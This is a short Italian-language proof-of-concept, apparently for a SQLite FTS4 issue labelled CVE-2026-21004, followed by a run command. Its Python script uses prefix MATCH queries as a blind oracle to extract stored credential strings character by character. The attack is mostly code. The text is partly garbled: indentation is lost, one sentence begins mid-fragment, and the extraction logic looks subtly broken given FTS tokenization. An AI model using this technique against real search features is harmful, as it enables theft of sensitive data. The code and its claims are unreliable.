
Exploit proof-of-concept per CVE-2026-21004: usa query MATCH con prefissi FTS3/4 di SQLite appositamente create come oracolo cieco per recuperare dati segreti indicizzati carattere per carattere.
# sqlite_fts_leak.py - Creates FTS table and exploits match info
import sqlite3
conn = sqlite3.connect(':memory:')
conn.execute("CREATE VIRTUAL TABLE secrets USING fts4(content TEXT)")
conn.execute("INSERT INTO secrets VALUES ('admin:password123')")
conn.execute("INSERT INTO secrets VALUES ('user:secret456')")
# Attacker guesses characters using FTS MATCH with partial matching
def guess_char(prefix, known):
for c in "abcdefghijklmnopqrstuvwxyz0123456789_:":
query = f'SELECT * FROM secrets WHERE content MATCH ?'
# In FTS4, MATCH can leak whether a term exists; we abuse by searching column directly
try:
cur = conn.execute(query, (f'"{prefix}{c}*"',))
if cur.fetchone():
return c
except:
pass
return None
# Recover the secret character by character
prefix = ""
for _ in range(20):
c = guess_char(prefix, "")
if c is None: break
prefix += c
print(f"Recovered: {prefix}")
Un'applicazione che utilizza SQLite FTS4 espone una funzione di ricerca che restituisce risultati basati su una query MATCH. Osservando se una corrispondenza avviene (o le differenze di temporizzazione), un attaccante può recuperare con un attacco di forza bruta il contenuto dell'indice full-text carattere per carattere, estraendo dati sensibili.
term*), consentendo a un attaccante di eseguire un attacco a dizionario senza conoscere il termine completo.Esegui l'exploit:
python sqlite_fts_leak.py
Lo script recupera progressivamente il contenuto della tabella secrets.